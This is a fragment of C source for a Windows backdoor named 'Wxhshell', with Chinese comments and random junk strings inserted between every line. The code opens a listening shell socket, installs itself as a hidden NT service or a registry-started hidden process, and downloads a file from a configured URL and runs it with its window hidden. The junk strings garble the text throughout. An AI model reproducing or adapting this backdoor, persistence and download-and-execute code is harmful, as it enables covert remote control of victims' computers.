!L } *rf$>8~$n aR)?a;}H // 主模块 ik\S88| int StartWxhshell(LPSTR lpCmdLine) 7>,rvW:] { 1VLLo~L% SOCKET wsl; Z %EQt BOOL val=TRUE; tlGWl0V?7Q int port=0; w~N-W8xNR struct sockaddr_in door; jdlG#j-\ mHs:t{q if(wscfg.ws_autoins) Install(); &yLc1#H @]?R2bI port=atoi(lpCmdLine); aU(tu2 H.~bD[gA if(port<=0) port=wscfg.ws_port; 3_zSp.E\l D9o*8h2$ WSADATA data; qjLo&2) if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; aQ|hi F} 8*Zvr&B,G if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4bI*jEc\[ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
~6d5zI4\ door.sin_family = AF_INET; plXG[1;&G door.sin_addr.s_addr = inet_addr("127.0.0.1"); jONjt(&N door.sin_port = htons(port); c[5@\j\ 'vlrc[|/ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q[c Etp28h closesocket(wsl); N^J*!]| return 1; r/Dd&x } (}~ucI<~ Z,aGtJ.a'9 if(listen(wsl,2) == INVALID_SOCKET) { %U?)?iZdL closesocket(wsl); oMc1:=EG return 1; 40.AM1Z0f } %nQmFIt Wxhshell(wsl); %3G;r\|r] WSACleanup(); P)1EA; HNMBXXf,B return 0; 6"%2,`Nu \h#9oPy } sHs g_6~ %wW'!p-< // 以NT服务方式启动 >'Hx1; VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |yv]Y/= { c&e0OV\m DWORD status = 0; ^Y 7U1I DWORD specificError = 0xfffffff; ,8VXA +'_ yVYkuO serviceStatus.dwServiceType = SERVICE_WIN32; >76 |:Nq serviceStatus.dwCurrentState = SERVICE_START_PENDING; <Uwwux<v serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ]!aUT& serviceStatus.dwWin32ExitCode = 0; @p]UvqtB@ serviceStatus.dwServiceSpecificExitCode = 0; 8\_*1h40s serviceStatus.dwCheckPoint = 0; qTy v.#{y serviceStatus.dwWaitHint = 0; K PggDKS JqEb;NiP)5 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); :8]6#c6`74 if (hServiceStatusHandle==0) return; e=J*Esc@k sam[s4@eQ status = GetLastError(); F*\4l;NJ if (status!=NO_ERROR) [*HiI= { j@t{@Ke serviceStatus.dwCurrentState = SERVICE_STOPPED; |j#
^@R serviceStatus.dwCheckPoint = 0; ccMd/ serviceStatus.dwWaitHint = 0; :rmauKR serviceStatus.dwWin32ExitCode = status; 4(|yD; serviceStatus.dwServiceSpecificExitCode = specificError; 0BDS_Rx SetServiceStatus(hServiceStatusHandle, &serviceStatus); w4A#>;Qu* return; rKIRNc#d } 24X=5Aj XtzOFx/ serviceStatus.dwCurrentState = SERVICE_RUNNING; {u4i*udG`) serviceStatus.dwCheckPoint = 0; I>hmbBlDv serviceStatus.dwWaitHint = 0; AY;<q$8j%, if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); +7Rt{C, } y/\ZAtnLo Tzf$*Uje3 // 处理NT服务事件,比如:启动、停止 # JFYws VOID WINAPI NTServiceHandler(DWORD fdwControl) KBj@V6Q { r0u J$/! switch(fdwControl) 6>uQt:e { D-D# ` case SERVICE_CONTROL_STOP: 5p{25N_t serviceStatus.dwWin32ExitCode = 0; y($EK(cb serviceStatus.dwCurrentState = SERVICE_STOPPED; i'iO H|s serviceStatus.dwCheckPoint = 0; `#p< rfe serviceStatus.dwWaitHint = 0; kwc*is { /+29.1#| SetServiceStatus(hServiceStatusHandle, &serviceStatus); v^\JWPR/ } cqjl5UB return; :mn(0
R~ case SERVICE_CONTROL_PAUSE: Z*Zc]hD serviceStatus.dwCurrentState = SERVICE_PAUSED; Q[jI=$Q) break; ph+M3q(z case SERVICE_CONTROL_CONTINUE: r;'i<t{P serviceStatus.dwCurrentState = SERVICE_RUNNING; 4uPH break; <OIUyZS case SERVICE_CONTROL_INTERROGATE: ;/R kMS break; 1y~L8!:L }; cB<O.@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); y]7%$*
< } wePI*."] \*Ts)EW // 标准应用程序主函数 OelU
D/[$ int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) V&g)m.d:n { ]~'9 dDo6fP2 // 获取操作系统版本 6N&|2: U OsIsNt=GetOsVer(); }|SIHz!R GetModuleFileName(NULL,ExeFile,MAX_PATH); )O9f hj) &jt02+Hj' // 从命令行安装 *^uGvJXF if(strpbrk(lpCmdLine,"iI")) Install(); pL8H8kn #s*k|
j} // 下载执行文件 & \JLTw if(wscfg.ws_downexe) { O/(3 87= U if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gji*Wq WinExec(wscfg.ws_filenam,SW_HIDE); (X*'y*: } R08&cd#$ p?}f|mQS) if(!OsIsNt) { *B%y`cj| // 如果时win9x,隐藏进程并且设置为注册表启动 8~;{xYN ) HideProc(); 1>hb-OMX StartWxhshell(lpCmdLine); Wux 0RF& } :,jPNuOA else JR])xPI` if(StartFromService()) ~KJ,SLzhx9 // 以服务方式启动 j,\tejl1 StartServiceCtrlDispatcher(DispatchTable); '^8g9E.4K else #]k0Z~Bl // 普通方式启动 U[IQ1AEr StartWxhshell(lpCmdLine); E=}6X9X vz- 9<w;>a return 0; +I*k0"gj6 }
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